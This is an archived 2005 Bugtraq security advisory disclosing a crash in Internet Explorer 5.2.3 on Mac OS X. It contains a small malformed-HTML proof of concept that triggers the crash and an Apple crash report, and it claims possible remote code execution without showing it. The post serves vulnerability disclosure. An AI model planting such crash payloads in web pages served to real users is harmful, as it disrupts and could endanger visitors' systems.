bugtraq - Microsoft IE 5.2.3 Mac OSX crash

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Date: Thu, 22 Sep 2005 15:31:53 +0200
From: "Mella Marco" <marco.mella@...ecomitalia.it>
To: <full-disclosure@...ts.grok.org.uk>
Cc: bugtraq@...urityfocus.com
Subject: Microsoft IE 5.2.3 Mac OSX crash

I resend a mail for a problem of mail server accepting a MIME
content-type 'multipart/alternative'.
_marco

Microsoft IE 5.2.3 is the last IE browser released for Mac OSX.
IE 5.2.3 contain a vulnerability that allow a remote attacker to crash
the browser an potetially remote code execution.

A remote attacker could setup a malicious site and entice a victim to
visit it triggering the buffer overflow.

Exploit tested on Tiger and Panther.

Sample of POC (save on html file and open with IE to test locally)
-------------------------------------------------------------
Begin code------
<HTML> <HEAD>
<TABLE
><BGSOUND
about:file"" SRC=about:""
>
End of code-------

Apple Crash Report
------------------
OS Version:     10.4.2 (Build 8C46)
Report Version: 3

Command: Internet Explorer
Path:    /Applications/Internet Explorer.app/Contents/MacOS/Internet
Explorer
Parent:  WindowServer [65]

Version:        5.2.3 (5.2.3)
Build Version:  30
Project Name:   MicrosoftIE5
Source Version: 58150100

PID:    854
Thread: 7

Exception:  EXC_BAD_ACCESS (0x0001)
Codes:      KERN_PROTECTION_FAILURE (0x0002) at 0x000002e4

Thread 0:
0   libSystem.B.dylib                  0x9000a778 mach_msg_trap + 8
1   libSystem.B.dylib                  0x9000a6bc mach_msg + 60
2   ...ple.CoreServices.CarbonCore     0x90b661e4 SwitchContexts + 96
3   ...ple.CoreServices.CarbonCore     0x90b5be90 YieldToThread + 372
.....
snip----

Regards,
Marco
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